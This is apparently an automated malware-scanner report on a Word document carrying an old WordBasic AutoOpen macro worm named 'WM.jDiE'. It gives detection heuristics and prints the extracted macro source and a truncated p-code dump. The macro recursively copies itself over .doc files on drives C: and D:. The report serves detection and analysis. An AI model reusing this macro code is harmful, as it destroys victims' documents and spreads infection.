MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file contains a legacy WordBasic AutoOpen macro, identified by the 'OLE_LEGACY_WORDBASIC_AUTOEXEC' and 'OLE_VBA_AUTOOPEN' heuristics. The script iterates through directories and attempts to copy '.doc' files, using the string 'jDiE' in the process. This suggests a document-spreading or data-gathering functionality, characteristic of a worm or a component of a larger attack.
Heuristics 4
-
ClamAV: Doc.Dropper.Agent-6966690-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6966690-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4618 bytes |
SHA-256: 2debbc827194f4cfc343134252a1b72319d973cd601c0cc51e7c614fd3d60717 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
'.---------.
': WM.jDiE :
'`---------'
Public Sub MAIN()
Dim d
On Error GoTo -1: On Error GoTo EndMain
For d = Asc("C") To Asc("D")
Troi Chr(d), Chr(d) + ":\"
Next d
EndMain:
End Sub
Private Sub Troi(d$, path$)
Dim DirNum
Dim i
Dim CurDir_$
Dim f$
Dim c
DirNum = WordBasic.CountDirectories(path$)
If DirNum = -1 Then GoTo FindFile
For i = 1 To DirNum
CurDir_$ = WordBasic.[GetDirectory$](path$, i)
Troi d$, path$ + CurDir_$ + "\"
Next i
FindFile:
f$ = WordBasic.[Files$](path$ + "*.doc")
c = -1
While f$ <> ""
c = c + 1
f$ = WordBasic.[Files$]()
Wend
If c > -1 Then
f$ = WordBasic.[Files$](path$ + "*.doc")
WordBasic.CopyFile FileName:=WordBasic.[FileName$](), Directory:=f$
For i = 1 To count_
f$ = WordBasic.[Files$]()
WordBasic.CopyFile FileName:=WordBasic.[FileName$](), Directory:=f$
Next i
End If
WordBasic.ToolsOptionsUserInfo Name:="jDiE"
WordBasic.PrintStatusBar "jDiE here!"
End Sub
' Processing file: /opt/analyzer/scan_staging/92057f99cca042cc8f2745483e6fcb7f.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 2840 bytes
' Line #0:
' Line #1:
' QuoteRem 0x0000 0x000B ".---------."
' Line #2:
' QuoteRem 0x0000 0x000B ": WM.jDiE :"
' Line #3:
' QuoteRem 0x0000 0x000B "`---------'"
' Line #4:
' Line #5:
' FuncDefn (Public Sub MAIN())
' Line #6:
' Dim
' VarDefn d
' Line #7:
' OnError <crash>
' BoS 0x0000
' OnError EndMain
' Line #8:
' StartForVariable
' Ld d
' EndForVariable
' LitStr 0x0001 "C"
' ArgsLd Asc 0x0001
' LitStr 0x0001 "D"
' ArgsLd Asc 0x0001
' For
' Line #9:
' Ld d
' ArgsLd Chr 0x0001
' Ld d
' ArgsLd Chr 0x0001
' LitStr 0x0002 ":\"
' Add
' ArgsCall Troi 0x0002
' Line #10:
' StartForVariable
' Ld d
' EndForVariable
' NextVar
' Line #11:
' Label EndMain
' Line #12:
' EndSub
' Line #13:
' Line #14:
' FuncDefn (Private Sub Troi(d, path))
' Line #15:
' Dim
' VarDefn DirNum
' Line #16:
' Dim
' VarDefn i
' Line #17:
' Dim
' VarDefn CurDir_
' Line #18:
' Dim
' VarDefn False
' Line #19:
' Dim
' VarDefn c
' Line #20:
' Ld path$
' Ld WordBasic
' ArgsMemLd CountDirectories 0x0001
' St DirNum
' Line #21:
' Ld DirNum
' LitDI2 0x0001
' UMi
' Eq
' If
' BoSImplicit
' GoTo FindFile
' EndIf
' Line #22:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld DirNum
' For
' Line #23:
' Ld path$
' Ld i
' Ld WordBasic
' ArgsMemLd [GetDirectory$] 0x0002
' St CurDir_$
' Line #24:
' Ld d$
' Ld path$
' Ld CurDir_$
' Add
' LitStr 0x0001 "\"
' Add
' ArgsCall Troi 0x0002
' Line #25:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #26:
' Label FindFile
' Line #27:
' Ld path$
' LitStr 0x0005 "*.doc"
' Add
' Ld WordBasic
' ArgsMemLd [Files$] 0x0001
' St False$
' Line #28:
' LitDI2 0x0001
' UMi
' St c
' Line #29:
' Ld False$
' LitStr 0x0000 ""
' Ne
' While
' Line #30:
' Ld c
' LitDI2 0x0001
' Add
' St c
' Line #31:
' Ld WordBasic
' ArgsMemLd [Files$] 0x0000
' St False$
' Line #32:
' Wend
' Line #33:
' Ld c
' LitDI2 0x0001
' UMi
' Gt
' IfBlock
' Line #34:
' Ld path$
' LitStr 0x0005 "*.doc"
' Add
' Ld WordBasic
' ArgsMemLd [Files$] 0x0001
' St False$
' Line #35:
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' ParamNamed FileName
' Ld False$
' ParamNamed Directory
' Ld WordBasic
' ArgsMemCall CopyFile 0x0002
' Line #36:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld count_
' For
' Line #37:
' Ld WordBasic
' ArgsMemLd [Files$] 0x0000
'
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.